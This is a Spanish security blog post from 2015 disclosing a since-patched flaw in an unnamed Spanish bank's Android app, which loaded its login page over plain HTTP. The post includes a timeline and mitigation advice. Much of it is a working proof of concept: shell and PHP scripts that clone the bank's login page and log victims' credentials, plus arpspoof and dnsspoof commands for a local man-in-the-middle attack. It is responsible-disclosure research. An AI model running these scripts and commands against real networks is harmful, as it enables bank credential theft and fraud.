Webs amigas

miércoles, 11 de marzo de 2015

Bancos y su (in)seguridad: Analizando una app Android

Como todos sabemos, existe un número incontable de aplicaciones en el Play Store pertenecientes a prácticamente todos o casi todos los bancos conocidos, pero ¿alguna vez nos hemos preguntado cuanto son de seguras?

Este artículo es el primero de una serie en la que trataré de analizar todo aquello que vaya descubriendo acerca de las mismas, en relación a cómo implementan la seguridad de los datos, la cual debería ser prioritaria sobre todo en este tipo de aplicaciones, pero como podremos ver esto no siempre es así.

En este caso, voy a analizar una aplicación de un banco de España bastante conocido, cuyo nombre no voy a mencionar por motivos obvios. Cabe destacar en primer lugar que a día de hoy, esta "vulnerabilidad" ya ha sido reportada y arreglada conforme al siguiente timeline:

09/01/2015: Se analiza la aplicación.
10/01/2015: Generado el presente PoC.
11/01/2015: Reportado este documento al departamento correspondiente del mencionado banco.
12/01/2015: Aparece en Google Play una versión actualizada solventando el error.
13/01/2015: Recibida llamada de agradecimiento del jefe de Seguridad perteneciente al banco afectado.
11/03/2015: Publicación del presente artículo, pasados dos meses del informe inicial y teniendo en cuenta que a la fecha ya no existe tal vulnerabilidad.

Cabe destacar la rápida actuación por parte del banco, así como la posterior llamada en agradecimiento. Doy mis felicitaciones a su equipo por tomarse en serio asuntos como este, ya que por desgracia esto no sucede en la mayoría de las empresas.

En resumen, el presente artículo trata sobre una vulnerabilidad detectada en una app de un conocido banco español, la cual utiliza WebViews con URLs no seguras para acceder a los recursos. De este modo, se puede realizar un ataque MiTM y robar credenciales, así como de realizar operaciones fraudulentas engañando a la víctima mediante phishing o modificación de las peticiones al vuelo.


Condiciones asumidas y limitaciones:
  • Atacante en la misma red local que la víctima. 
  • Víctima con aplicación ya instalada en el móvil y ejecutada al menos una vez, previamente al ataque. 
  • Víctima abre la aplicación y accede a su área de cliente. 

Reconocimiento:

En un primer reconocimiento a la app, lo primero que vemos es que carga la web correspondiente al área de cliente en un WebView; por tanto desempaquetamos y desensamblamos el APK para buscar dónde se define la URL inicial.

Encontramos algunas referencias interesantes en los strings:

<string name="noticias_url">http://app.*******.com/apl/adserver/index_%s.html?idEspacio=140&amp;formato=rss2</string>
<string name="aviso_legal_url">http://*******.mobi/docs/general/APPavisolegal_es.html</string>
<string name="ver_todos_url">http://webm.*********.es/productos/mobile/es/index.html</string>
<string name="acceder_web_url">http://portal.**********.es/home/particulares_es.html</string>

Y sobre todo, la mas importante:

<string name="lo_url">http://m.**********.es/redir/WAP/SPDServlet?PN=LGN&amp;PE=1&amp;IDIOMA=%1$s&amp;CANAL=Y&amp;PASSTHROUGH=ALWAYS&amp;DEMO=0&amp;ENTORNO=L&amp;URL_DESC=/jsp/elolgnplogoff%2$s.jsp&amp;ORIGEN=%3$s&amp;loce=%4$s</string>

Lo primero que nos llama la atención es que casi todas las URL empiezan por HTTP, siendo así posible interceptar y modificar dichas peticiones sin que el cliente tenga posibilidad de realizar ningún tipo de validación. 

Continuamos instalando esta app en nuestro terminal de prueba, y la abrimos mientras capturamos el tráfico; Efectivamente, observamos que la URL cargada al abrir el WebView es la siguiente:

http://m.****************.es/redir/WAP/SPDServlet?PN=LGN&PE=1&IDIOMA=02&CANAL=Y&PASSTHROUGH=ALWAYS&DEMO=0&ENTORNO=L&URL_DESC=/jsp/elolgnplogoff02.jsp&ORIGEN=73200&loce=WAPICON_LOCALIZADOR_ANDROID_2.0.5_SIGNED_83ECD41FE8E5DBFCA3B8CFD8BC9CFC710F27C29E

Y como respuesta se obtiene un redirect 302 a otra URL, esta vez si, con HTTPS (menos mal). Confirmamos accediendo a la URL previa desde Google Chrome en PC y efectivamente la respuesta es la misma:



Ataque: 

Nuestro ataque consistirá en interceptar la primera petición que viaja en texto plano por el protocolo HTTP, y montar una web de phishing en su lugar, para lo que primeramente necesitaremos un servidor web funcional en nuestra máquina atacante (en este caso apache2) y algún tipo de server side scripting para almacenar los datos de nuestro interés, para lo que utilizaremos PHP. Instalamos y configuramos el servidor:

apt-get install php5 libapache2-mod-php apache2

Es importante que el servidor tenga activado el módulo mod_rewrite, ya que lo utilizaremos mas adelante, por lo que lo activaremos en caso de que haga falta y reiniciamos el servidor:

a2enmod rewrite
service apache2 restart

Seguidamente, necesitaremos una copia de la web real modificada para nuestro cometido; para ello, creamos el siguiente script:

# Descargamos la página spoofeando el user-agent de Google Chrome
wget -p --convert-links https://m2.******.es/WAP/SPDServlet?PN\=LGN\&PE\=1\&IDIOMA\=02\&CANAL\=Y\&PASSTHROUGH\=ALWAYS\&DEMO\=0\&ENTORNO\=L\&URL_DESC\=/jsp/elolgnplogoff02.jsp\&ORIGEN\=73200\&loce\=WAPICON_LOCALIZADOR_ANDROID_2.0.5_SIGNED_83ECD41FE8E5DBFCA3B8CFD8BC9CFC710F27C29E --header="User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"

# Descargamos otros recursos que quedan por descargar
cd m2.*****.es/resources/novaLO/images/icons
wget https://m2.*****.es/resources/novaLO/images/icons/chevron_horizontalIzq.png --header="User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"
cd ../../../../..
mkdir -p m2.******.es/resources/loe
cd m2.*****.es/resources/loe
wget https://m2.******.es/resources/loe/EloLgnB000103.js --header="User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"

# Renombramos la página principal
cd ../../..
cd m2.*******.es/WAP
mv * index.html

# Hacemos las modificaciones oportunas en la página original
sed -i 's/https:\/\/m2.*******.es\/WAP\///g' index.html
sed -i 's/href="https:[^"]*"/href="#"/g' index.html
sed -i 's/href="SPDServlet[^"]*"/href="#"/g' index.html
sed -i 's/action="SPDServlet[^"]*"/action="\/index.php"/g' index.html
sed -i 's/onSubmit="javascript:return enviar();"/onSubmit="javascript:return true;"/g' index.html
sed -i 's/href="http://m\.[^"]*"/href="#"/g' index.html
sed -i 's/href="http:\/\/m\.[^"]*"/href="#"/g' index.html
sed -i 's/<div onclick="javascript:submitLogin()"/<div onclick="javascript:submitLoginMod()"/g' index.html
sed -i 's/<\/script>/ function submitLoginMod() {\$("#login").submit(); setTimeout(function(){window.location.href\="\/redir.php";},2000);};<\/script>/' index.html

# Generamos el PHP que almacenará nuestras credenciales
cd ..
cat <<EOF > index.php
<?php

if(isset(\$_POST['E']) && isset(\$_POST['B'])) {
        file_put_contents('log_bank.txt', \$_POST['E']." - ".\$_POST['B']."\r\n");
        die();
}

?><html><head><script>window.location.href="/WAP/index.html";</script></head><body></body></html>
EOF

# Generamos otro PHP para redirigirnos a la web real
cat <<EOF > redir.php
<?php
header('Location: https://m2.********.es/WAP/SPDServlet?PN=LGN&PE=1&IDIOMA=02&CANAL=Y&PASSTHROUGH=ALWAYS&DEMO=0&ENTORNO=L&URL_DESC=/jsp/elolgnplogoff02.jsp&ORIGEN=73200&loce=WAPICON_LOCALIZADOR_ANDROID_2.0.5_SIGNED_83ECD41FE8E5DBFCA3B8CFD8BC9CFC710F27C29E');
EOF

# Generamos un .htaccess que redirija todas las peticiones que empiecen por /redir/ al index.php, que a su vez redireccionará a la web de phishing
cat <<EOF > .htaccess
RewriteEngine On
RewriteBase /
RewriteRule ^redir/(.*)$ /index.php [R=301,L]
RewriteOptions inherit
EOF

# Creamos el fichero de log
touch log_bank.txt

# Damos permisos de escritura al fichero de log
chmod 777 log_bank.txt

# Colocamos el directorio como raíz web, para servirlo
cd ..
mv m2.*******.es /var/www


Para el ataque en sí, usaremos arpspoof para hacer el MiTM y dnsspoof para suplantar la petición DNS al dominio original, redirigiendo la misma a la IP de nuestra máquina atacante dentro de la red, en donde estará nuestro servidor de phishing:

LOCAL=(ip atacante)
OBJETIVO=(ip objetivo)
GATEWAY=(ip gateway)
INTERFAZ=(interfaz)

# Activamos el forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Limpiamos las iptables
iptables -F iptables -t nat –F

# MiTM
arpspoof -i $INTERFAZ -t $GATEWAY $OBJETIVO &
arpspoof -i $INTERFAZ -t $OBJETIVO $GATEWAY &

# Ponemos nuestra IP asociada con m.****.es y ******.es en /etc/hosts
echo $LOCAL m.******.es >> /etc/hosts
echo $LOCAL *******.es >> /etc/hosts

# Suplantamos el DNS
dnsspoof -i $INTERFAZ -f /etc/hosts &

Y con esto, cuando la víctima abra la aplicación, la peticion inicial será atendida por nuestra máquina atacante, que responderá con la web de phishing. El usuario, ante la falta de elementos identificativos que le permitan verificar a que web se está accediendo realmente, debido al uso del WebView, será incapaz de distinguir entre la página real y la página de phishing, por lo que introducirá sus credenciales, que serán capturadas por el script de phishing. Tras esto, lo redirigimos esta vez a la página real del banco, después de haber almacenado sus credenciales de acceso.


Lo único que se observa extraño en la app es la ausencia de una barra publicitaria, debido a que no hemos replicado esa parte en nuestro servidor de phishing, pero con un par de scripts más se podría replicar perfectamente o incluso falsificar e introducir enlaces o scripts maliciosos.


 
El aspecto de nuestra web de phishing es indistinguible de la original, ante la ausencia de barras de dirección u otros métodos para verificar la autenticidad de la misma. Aún existiendo barra de dirección, podríamos falsificar la URL para que coincidiese con la original, y como estamos haciendo DNS spoofing, sería muy facil pasar por alto que la URL no es HTTPS, sino HTTP.



 
Introducimos nuestras credenciales de acceso y hacemos click en Entrar.



 
Vemos que en la máquina atacante ha quedado un bonito registro de los datos introducidos.

Mitigación:

En primer lugar, una app bancaria (y por lo general cualquier programa o servicio que gestione datos personales o datos de vital importancia) jamás debería acceder a través de protocolos no cifrados a cualquier tipo de servicio, pues se presta a ataques y manipulaciones de este tipo, ya que los protocolos no cifrados son inseguros por diseño en cuanto a la confidencialidad de los datos. Por otra parte, y más teniendo en cuenta que se trata de un banco, debería hacerse uso de políticas HSTS e idealmente HPKP en el servidor web. Y en cuanto a la app móvil cliente, aparte de hacer uso de HTTPS en las URLs iniciales, también debería añadir una validación del certificado HTTPS en cliente, para evitar posibles ataques de SSL striping.

Conclusión:

En este artículo hemos realizado un ataque de los mas sencillos, para demostrar el peligro que representa el uso de URLs HTTP en aplicaciones donde es vital la confidencialidad e integridad de los datos, pero de igual modo es posible realizar ataques mas elaborados; por ejemplo, se podría actuar de proxy y desviar la autenticación de doble factor hacia operaciones fraudulentas, a la hora de realizar operaciones que la requieran por parte del usuario. El usuario introduciría la firma con la tarjeta de coordenadas, creyendo que firma su operación, pero realmente firmando la operación fraudulenta del atacante, quedando la misma efectiva en el acto.

Y con esto hemos terminado, saludos y hasta la próxima!